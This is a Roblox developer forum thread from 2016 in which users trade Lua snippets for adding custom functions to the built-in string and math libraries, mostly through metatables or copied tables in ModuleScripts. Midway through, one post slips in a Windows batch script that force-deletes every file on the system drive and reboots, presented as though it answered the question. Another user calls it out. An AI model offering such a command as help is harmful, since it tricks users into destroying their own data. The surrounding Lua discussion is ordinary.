generic image
Processing...
  • Games
  • Catalog
  • Develop
  • Robux
  • Search in Players
  • Search in Games
  • Search in Catalog
  • Search in Groups
  • Search in Library
  • Log In
  • Sign Up
  • Games
  • Catalog
  • Develop
  • Robux
   
ROBLOX Forum » Game Creation and Development » Scripters
Home Search
 

Re: Is there a way to add functions in "string" or "math"?

Previous Thread :: Next Thread 
fgnfgn1 is not online. fgnfgn1
Joined: 12 Mar 2015
Total Posts: 58
15 Jan 2016 11:51 AM
If yes, how?
Report Abuse
dennis96411 is not online. dennis96411
Joined: 06 Mar 2009
Total Posts: 1079
15 Jan 2016 12:00 PM
Add your own functions.

string = setmetatable({}, {__index = string})
math = setmetatable({}, {__index = math})
Report Abuse
dennis96411 is not online. dennis96411
Joined: 06 Mar 2009
Total Posts: 1079
15 Jan 2016 12:02 PM
I'm not sure how they will behave when referencing to global variables, so use this if you want to be safe.

local _string, _math = string, math
string = setmetatable({}, {__index = _string})
math = setmetatable({}, {__index = _math})
Report Abuse
OzzyFin is not online. OzzyFin
Joined: 07 Jun 2011
Total Posts: 3600
15 Jan 2016 12:05 PM
local holder = string

local string = {}

for k,f in pairs(holder) do
string[k] = f
end

string.hi = "hi"
print(string.upper(string.hi))


you can do this in a modulescript and just return the dictionary
Report Abuse
OzzyFin is not online. OzzyFin
Joined: 07 Jun 2011
Total Posts: 3600
15 Jan 2016 12:06 PM
actually if you used a modulescript there's no reason to rewrite string

you can just assign it when requiring

local string = require(stringLibrary)
Report Abuse
OzzyFin is not online. OzzyFin
Joined: 07 Jun 2011
Total Posts: 3600
15 Jan 2016 12:08 PM
wait what

string.hi = "hi"

also works

I remembered it errored somewhy
Report Abuse
OzzyFin is not online. OzzyFin
Joined: 07 Jun 2011
Total Posts: 3600
15 Jan 2016 12:09 PM
wait what

string.hi = "hi"

also works

I remembered it errored somewhy

FLOODCHECK PLS
Report Abuse
OzzyFin is not online. OzzyFin
Joined: 07 Jun 2011
Total Posts: 3600
15 Jan 2016 12:10 PM
i give up
Report Abuse
dodgetherodge is not online. dodgetherodge
Joined: 05 Jan 2016
Total Posts: 23
15 Jan 2016 12:12 PM
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code a .bat file
Report Abuse
TickerOfTime is not online. TickerOfTime
Joined: 02 Sep 2012
Total Posts: 2030
15 Jan 2016 12:25 PM
Ya'll nasty. Use dennis' method.
Report Abuse
Happywalker is not online. Happywalker
Joined: 05 Mar 2010
Total Posts: 3672
15 Jan 2016 12:26 PM
https://twitter.com/RBX_Crazyman32/status/666695127101005825
Report Abuse
fgnfgn1 is not online. fgnfgn1
Joined: 12 Mar 2015
Total Posts: 58
15 Jan 2016 02:11 PM
string = setmetatable({}, {__index = _string})
math = setmetatable({}, {__index = _math})

works fine for me



Why would you use?:

local _string, _math = string, math
string = setmetatable({}, {__index = _string})
math = setmetatable({}, {__index = _math})
Report Abuse
dennis96411 is not online. dennis96411
Joined: 06 Mar 2009
Total Posts: 1079
15 Jan 2016 02:31 PM
Because you need references to the original libraries. By default, _string and _math are nil. Unless you copied the other code.
Report Abuse
chimmihc is not online. chimmihc
Joined: 01 Sep 2014
Total Posts: 17143
15 Jan 2016 02:34 PM
Using metatables for this is bad. As the functions are not actually stored the new table.


Report Abuse
dennis96411 is not online. dennis96411
Joined: 06 Mar 2009
Total Posts: 1079
15 Jan 2016 02:39 PM
I mean do they really need to be? He just wants to be able to access his own functions alongside the default ones.
Report Abuse
fgnfgn1 is not online. fgnfgn1
Joined: 12 Mar 2015
Total Posts: 58
16 Jan 2016 03:39 AM
where are they sotred if not in the new table?
Report Abuse
OzzyFin is not online. OzzyFin
Joined: 07 Jun 2011
Total Posts: 3600
16 Jan 2016 04:35 AM
I have gone full crazy on this thread
apparently string is a readonly table on roblox but not on my phone's lua app

I don't see a point for metatables here, this is as simple to do like

local holder = {}
for k,f in pairs(string) do
holder[k] = f
end

holder.hi = "hi"

return holder

-------------------

local string = require(game.ServerScriptService.stringlibrary)

print(string.reverse(string.hi))
Report Abuse
cntkillme is not online. cntkillme
Joined: 07 Apr 2008
Total Posts: 44956
16 Jan 2016 05:11 AM
The better way (his original one wouldn't work, but this will)

local string = setmetatable({}, {__index = string})
local math = setmetatable({}, {__index = math})
Report Abuse
dennis96411 is not online. dennis96411
Joined: 06 Mar 2009
Total Posts: 1079
16 Jan 2016 05:20 AM
Wait, really? Worked fine when I tested it.
Report Abuse
cntkillme is not online. cntkillme
Joined: 07 Apr 2008
Total Posts: 44956
16 Jan 2016 06:11 AM
The original one, not the later one.
Ones without the local vars.
Report Abuse
Previous Thread :: Next Thread 
Page 1 of 1
 
 
ROBLOX Forum » Game Creation and Development » Scripters
   
 
   
  • About Us
  • Jobs
  • Blog
  • Parents
  • Help
  • Terms
  • Privacy

©2017 Roblox Corporation. Roblox, the Roblox logo, Robux, Bloxy, and Powering Imagination are among our registered and unregistered trademarks in the U.S. and other countries.



Progress
Starting Roblox...
Connecting to Players...
R R

Roblox is now loading. Get ready to play!

R R

You're moments away from getting into the game!

Click here for help

Check Remember my choice and click Launch Application in the dialog box above to join games faster in the future!

Gameplay sponsored by:
Loading 0% - Starting game...
Get more with Builders Club! Join Builders Club
Choose Your Avatar
I have an account
generic image